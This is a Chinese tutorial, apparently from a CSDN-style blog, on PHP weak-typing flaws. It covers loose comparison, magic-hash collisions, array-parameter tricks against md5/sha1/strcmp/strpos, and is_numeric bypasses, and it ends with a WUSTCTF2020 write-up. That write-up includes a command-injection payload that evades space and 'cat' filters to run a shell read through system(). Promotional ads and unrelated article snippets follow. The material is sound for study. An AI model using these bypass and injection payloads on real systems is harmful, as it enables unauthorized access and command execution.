详解PHP弱类型安全问题

弱类型的语言对变量的数据类型没有限制,你可以在任何地时候将变量赋值给任意的其他类型的变量,同时变量也可以转换成任意地其他类型的数据。这时候在类型转化、不同类型比较、不合理地传参,会造成意外执行结果和绕过防御。

一.     类型转换

php 常见的转换主要就是int转换为string,string转换为int。

int转string:

$var = 5;

方式1:$item = (string)$var;

方式2:$item = strval($var);

string转int:intval()函数。

var_dump(intval('2'))    //2

var_dump(intval('3abcd'))   //3

var_dump(intval('abcd')) //0

intval()转换的时候,会将从字符串的开始进行转换知道遇到一个非数字的字符。即使出现无法转换的字符串,intval()不会报错而是返回0。

php 有三个等号(===)和两个等号(==),区别在于三个等号比较时候,会比较变量类型再比较值,两个等号会转化为同一类型再比较。

<?php

var_dump(1 == '1a');//true

var_dump(null==false);//true

var_dump(0==false);//true

var_dump(0==null);//true

二.     比较操作符

2.1   整形与字符串比较

整形与字符串比较时,会将字符串转为整形再比较,转化规则为从字符串左边开始进行转换直到遇到非数值的字符。

<?

var_dump(0 == 'a');//true

2.2   Hash比较

当符合\d+e\d+ 的字符串,会将这种字符串解析为科学计数法,例如:0e1=0*10=0

如果 哈希计算结果 是以 0e 开头,在做比较的时候,可以用这种方法绕过

<?php

var_dump('0e481036490867661113260034900752' == '0' );//true

var_dump('0e509367213418206700842008763514'=='0e481036490867661113260034900752');//true

var_dump(md5('240610708') == md5('QNKCDZO'));//true

var_dump(md5('aabg7XSs') == md5('aabC9RqS'));//true

var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));//true

var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));//true

2.3   十六进制转换

php7版本以下,字符串以0x开头时,会将字符串转化为十进制再比较。

<?php

var_dump('0xccccccccc' == '54975581388'); //php7以下为true

例题:

<?php

error_reporting(0);

function noother_says_correct($temp)

{

$flag = 'flag{test}';

$one = ord('1');  //ord — 返回字符的 ASCII 码值

$nine = ord('9'); //ord — 返回字符的 ASCII 码值

$number = '3735929054';

// Check all the input characters!

for ($i = 0; $i < strlen($number); $i++)

{

// Disallow all the digits!

$digit = ord($temp{$i});

if ( ($digit >= $one) && ($digit <= $nine) ) ## 1到9不允许,但0允许

{

// Aha, digit not allowed!

return "flase";

}

}

if($number == $temp)

return $flag;

}

$temp = $_GET['password'];

echo noother_says_correct($temp);

password的字符串值中不能包含1-9的数值,可以含有0,将3735929054转为16进制结果为:deadc0de,传入?password=0xdeadc0de,即可绕过。

三.     内置函数松散型

调用函数时传递给函数无法接受的参数,导致意外的绕过。

3.1   md5()

php的md5( string $str[, bool $raw_output = FALSE] ) ,md5()函数的需要一个string类型的参数。当传入一个array时,md5()不会报错,无法求出array的md5值,结果为NULL, 这就会导致任意2个array的md5值都会相等。

<?php

$a= array('1');

$b= array('2');

var_dump(md5($a)===md5($b));

例题:

<?php

error_reporting(0);

$flag = 'flag{test}';

if (isset($_GET['username']) and isset($_GET['password'])) {

if ($_GET['username'] == $_GET['password'])

print 'Your password can not be your username.';

else if (md5($_GET['username']) === md5($_GET['password']))

die('Flag: '.$flag);

else

print 'Invalid password';

}

?>

1)传入两个数组参数

?username[]=1&password[]=2

2)MD5值相同

username=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2

password=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

3.2   sha1()

PHP的sha1( string $str[, bool $raw_output = false] )也无法处array类型的参数。

例题:

<?php

$flag = "flag";

if (isset($_GET['name']) and isset($_GET['password']))

{

if ($_GET['name'] == $_GET['password'])

echo 'Your password can not be your name!';

else if (sha1($_GET['name']) === sha1($_GET['password']))

die('Flag: '.$flag);

else

echo 'Invalid password.';

}

else

echo 'Login first!';

?>

传入两个不同值得数组类型参数即可

name[]=1&password[]=3

3.3   strcmp()

strcmp( string $str1, string $str2) ,二进制安全字符串比较,如果 str1 小于 str2 返回 < 0;如果 str1 大于 str2 返回> 0;如果两者相等,返回 0。 当传入参数为数组时,会返回NULL,NULL==0。

<?php

$a= ['2'];

$b= "1";

var_dump(strcmp($a,$b)==0);//true

例题:

<?php

$flag = "flag{xxxxx}";

if (isset($_GET['a'])) {

if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。

die('Flag: '.$flag);

else

print 'No';

}

?>

传入 a[]=。

3.4   switch()

如果 switch 是数字类型的 case 的判断时,switch 会将参数转换为 int 类型。

<?php

$i ="2qw";

switch ($i) {

case 0:

case 1:

case 2:

echo "2";

break;

case 3:

echo "3";

} //2,"2qw"转化为2

?>

3.5   in_array()

in_array( mixed $needle, array $haystack[, bool $strict = FALSE] ) ,检查数组中是否存在某个值,默认使用松散型来判断$needle是否在数组$haystack中,如果设置$strict = true,则在比较时会判断类型是否相等。

<?php

$array=[0,1,2,'3'];

var_dump(in_array('abc', $array)); //true ,‘abc’转化为0

var_dump(in_array('1bc', $array)); //true,'1bc'转化为1

3.6   array_search()

array_search( mixed $needle, array $haystack[, bool $strict = false] ),在数组中搜索给定的值,如果成功则返回首个相应的键名 。默认为松散比较比较,不判断类型是否相等。

<?php

$arrayName = [1,"3"];

$key="1a";

var_dump(array_search($key, $arrayName));//0

3.7   strpos()

strpos( string $haystack, mixed $needle[, int $offset = 0  ] ),返回 $needle 在 $haystack 中首次出现的数字位置,如果没找到将返回false,当传入的参数$haystack为数组时,将返回NULL,NULL!==false。

例题:

<?php

$flag = "flag";

if (isset ($_GET['nctf'])) {

if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) # %00截断

echo '必须输入数字才行';

else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)

die('Flag: '.$flag);

else

echo '骚年,继续努力吧啊~';

}

既要是纯数字,又要有’#biubiubiu’,strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,所以符合要求. 所以输入nctf[]= 那为什么ereg()也能符合呢?因为ereg()在出错时返回的也是null,null!==false,所以符合要求。

3.8   is_numeric()

PHP提供了is_numeric函数,用来变量判断是否为数字。支持普通数字型字符串、科学记数法型字符串、部分支持十六进制0x型字符串。

例题1:

<?php

$temp = $_GET['password'];

is_numeric($temp)?die("no numeric"):NULL;

if($temp>1336){

echo $flag;

payload

password=1337a

例题2:

<?php

show_source(__FILE__);

$flag = "flag{xxxxxxx}";

if(isset($_GET['time'])){

if(!is_numeric($_GET['time'])){

echo 'The time must be number.';

}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){

echo 'This time is too short.';

}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){

echo 'This time is too long.';

}else{

sleep((int)$_GET['time']);

echo $flag;

}

echo '<hr>';

}

1).科学计数法

?time=5.276e6

2).十六进制

?time=0x4F1A01

四.     例题讲解

4.1   [WUSTCTF2020]朴实无华

robots.txt 得知 fAke_f1agggg.php 文件,访问一个假flag,响应头部有提示 fl4g.php文件

<?php

header('Content-type:text/html;charset=utf-8');

error_reporting(0);

highlight_file(__file__);

//level 1

if (isset($_GET['num'])){

$num = $_GET['num'];

if(intval($num) < 2020 && intval($num + 1) > 2021){

echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";

}else{

die("金钱解决不了穷人的本质问题");

}

}else{

die("去非洲吧");

}

//level 2

if (isset($_GET['md5'])){

$md5=$_GET['md5'];

if ($md5==md5($md5))

echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";

else

die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");

}else{

die("去非洲吧");

}

//get flag

if (isset($_GET['get_flag'])){

$get_flag = $_GET['get_flag'];

if(!strstr($get_flag," ")){

$get_flag = str_ireplace("cat", "wctf2020", $get_flag);

echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";

system($get_flag);

}else{

die("快到非洲了");

}

}else{

die("去非洲吧");

}

?>

level1

intval($num) < 2020 && intval($num + 1) > 2021

这里传入num=1e7即可。

在进行intval($num)时被截断成为1,1<2020 => True;

而$num+1时就解析为科学技术法,结果是10000001(也不知道位数对不对,随意啦)。

绕过了。

level2

$md5=$_GET['md5'];

一般绕过md5的方法有两种,一个是以0e开头,后面全是数字的结果,这个会被解析为科学计数法为0;另一个是利用数组绕过。

这里利用0e绕过:

md5('0e215962017') ==> “0e291242476940776845150308577824”

get flag

这里是个RCE,过滤了空格和cat。

空格用%09(tab)绕过,cat用反斜杠绕过,构造成ca\t:

fl4g.php?num=1e7&md5=0e215962017&get_flag=ca\t%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,需要点击下方链接即可前往获取 

 读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

同时每个成长路线对应的板块都有配套的视频提供: 

大厂面试题 

视频配套资料&国内外网安书籍、文档

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~  

读者福利 | CSDN大礼包:《网络安全入门&进阶学习资源包》免费分享(安全链接,放心点击)

 

特别声明:

此教程为纯技术分享!本教程的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本教程的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/16720.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ctfshow web入门 web306--web310源码审计

web306 这和之前的完全不一样了 <?php #error_reporting(0); session_start(); require service.php;$username$_POST[userid]; $userpwd$_POST[userpwd]; $servicenew service();$user$service->login($username,$userpwd); if($user){setcookie(user,base64_encode(…

常见电路的分类

举例&#xff1a;一个单片机控制电机驱动电路&#xff1a; 一般驱动部分和功率部分都是做到一起的 一、 驱动电路和功率电路&#xff1a; &#xff08;1&#xff09;电压高&#xff0c;电流大&#xff0c;需要与控制电路分开&#xff0c;并做好隔离保护&#xff08;光耦&…

【课程设计】Java 计算器实现(源码 + 详解)

&#x1f388; 作者&#xff1a;Linux猿 &#x1f388; 简介&#xff1a;CSDN博客专家&#x1f3c6;&#xff0c;华为云享专家&#x1f3c6;&#xff0c;Linux、C/C、云计算、物联网、面试、刷题、算法尽管咨询我&#xff0c;关注我&#xff0c;有问题私聊&#xff01; &…

RPA机器人流程自动化如何优化人力资源工作流程

人力资源部门在支持员工和改善整体工作环节方面扮演着至关重要的角色&#xff0c;但是在人资管理的日常工作中&#xff0c;充斥着大量基于规则的重复性任务&#xff0c;例如简历筛选、面试安排、员工数据管理、培训管理、绩效管理等&#xff0c;这些任务通常需要工作人员花费大…

【C++】从零开始map与set的封装

送给大家一句话&#xff1a; 今日的事情&#xff0c;尽心、尽意、尽力去做了&#xff0c;无论成绩如何&#xff0c;都应该高高兴兴地上床恬睡。 – 三毛 《亲爱的三毛》 &#x1f303;&#x1f303;&#x1f303;&#x1f303;&#x1f303;&#x1f303;&#x1f303;&#x…

逻辑分析仪的调试使用

调试软件下载&#xff1a;点击跳转 一、接线 逻辑分析仪 设备 GND --- GND CHX&#xff08;数据通道&#xff09; --- 通信引脚 二、数据采集 图中两个可以选择数字大小的地方分别表示 采样深度 &#xff08;10M Samples&a…

【linux】如何优雅的使用vim编辑器

基本指令 【linux】详解linux基本指令-CSDN博客 【linux】详解linux基本指令-CSDN博客 vim的基本概念 vim有很多模式&#xff0c;小编只介绍三种就能让大家玩转vim了&#xff0c; 分别是&#xff1a; 正常/普通/命令模式 插入模式 末行/底行模式 命令模式 控制屏幕光标的…

obsidian Excalidraw 更换字体 最新版 手写字体

背景 Excalidraw 是 obsidian 中最厉害的插件之一&#xff0c;长期霸占插件排行榜第一。以其强悍的性能和灵活的可塑性受到大家的喜爱&#xff0c;可默认的字体对中文并不友好&#xff0c;网上大多数教程要不是过时了&#xff0c;要不是错的&#xff0c;还有就是太复杂&#x…

二、OpenWebUI 使用(.Net8+SemanticKernel+Ollama)

OpenWebUI的github上安装部署已经很详细&#xff0c;直接照着敲命令即可 GitHub&#xff1a;https://github.com/open-webui/open-webui 一、使用配置 1、访问&#xff1a;http://Ip:3000&#xff0c;打开如下OpenWebUI界面。 2、先点击“注册”&#xff0c;注册一个管理员帐号…

信息化赋能:干部监督工作的创新与实践

随着信息技术的迅猛发展&#xff0c;信息化手段在干部监督工作中的应用越来越广泛&#xff0c;为提升监督工作的效率和精准度提供了有力支持。以下是如何利用信息化手段扎实推进干部监督工作的几点建议&#xff1a; 一、搭建信息化平台&#xff0c;实现数据统一管理 要扎实推…

springboot带颜色的日志输出

话不多说直接贴全部代码在作解释 <?xml version"1.0" encoding"utf-8"?> <configuration><property name"pattern" value"%d{yyyy-MM-dd HH:mm:ss.SSS} [%thread] %-5level %logger{50} - %msg %n"/><propert…

Xinstall地推效果大揭秘:洞察用户需求,创新营销策略不再是难题

在互联网流量红利逐渐衰退的今天&#xff0c;企业如何快速搭建起满足用户需求的运营体系&#xff0c;成为了亟待解决的问题。特别是在地推领域&#xff0c;如何在多变的互联网环境下&#xff0c;迅速、有效地触达用户&#xff0c;扩大目标用户基数和流量池&#xff0c;成为了企…

一文了解ai问答机器人:特点、应用、影响

很多人都听过ai问答机器人这个词&#xff0c;也许对于大部分人来说&#xff0c;对它的印象就是智能&#xff01;这是不可置疑的。你在生活中肯定也接触了不少的ai问答机器人。但是关于ai问答机器人&#xff0c;你是否了解它的特点、应用领域和对人类未来的影响呢&#xff1f;Lo…

棱镜七彩荣获2024数字中国创新大赛两大奖项!

5月24日&#xff0c;供应链成熟度与开源技术主题活动暨数字中国创新大赛信创赛道全国总决赛颁奖仪式在福建福州成功举办。棱镜七彩“FOSSEye产品”&#xff0c;凭借在国产化支持、供应链成熟度、核心技术、功能体系、以及作品前景等多个维度的优异表现&#xff0c;荣获2024数字…

Pytorch深度学习实践笔记8(b站刘二大人)

&#x1f3ac;个人简介&#xff1a;一个全栈工程师的升级之路&#xff01; &#x1f4cb;个人专栏&#xff1a;pytorch深度学习 &#x1f380;CSDN主页 发狂的小花 &#x1f304;人生秘诀&#xff1a;学习的本质就是极致重复! 《PyTorch深度学习实践》完结合集_哔哩哔哩_bilibi…

视频汇聚管理安防监控平台EasyCVR程序报错“create jwtSecret del server class:0xf98b6040”的原因排查与解决

国标GB28181协议EasyCVR安防视频监控平台可以提供实时远程视频监控、视频录像、录像回放与存储、告警、语音对讲、云台控制、平台级联、磁盘阵列存储、视频集中存储、云存储等丰富的视频能力&#xff0c;平台支持7*24小时实时高清视频监控&#xff0c;能同时播放多路监控视频流…

java调用科大讯飞在线语音合成API --内附完整项目

科大讯飞语音开放平台基础环境搭建 1.用户注册 注册科大讯飞开放平台账号 2.注册好后先创建一个自己的应用 创建完成后进入应用可以看到我们开发需要的三个参数&#xff1a;APPID&#xff0c;APISecret&#xff0c;APIKey 3.因为平台提供的SDK中只支持了简单的中英两种语言语音…

Redis 可视化工具 RedisInsight 的保姆级安装以及使用(最新)

Redis 可视化工具 RedisInsight 的保姆级安装以及使用 一、下载 RedisInsight二、安装 RedisInsight三、使用 RedisInsight四、新建 Redis 连接 一、下载 RedisInsight 官网 https://redis.io/insight/填写基本信息之后点击 DOWNLOAD 二、安装 RedisInsight 双击安装包 点击下一…

cad角度如何精确到0.1

可以通过更改角度精度的方式把角度的标注精确到小数点后几位&#xff0c;具体方法如下&#xff1a; 1、打开一个CAD文档&#xff0c;在文档中画一个角&#xff0c;如下图&#xff1a; 文章源自设计学徒自学网-https://www.sx1c.com/47920.html 2、给此角进行角度的标注&#…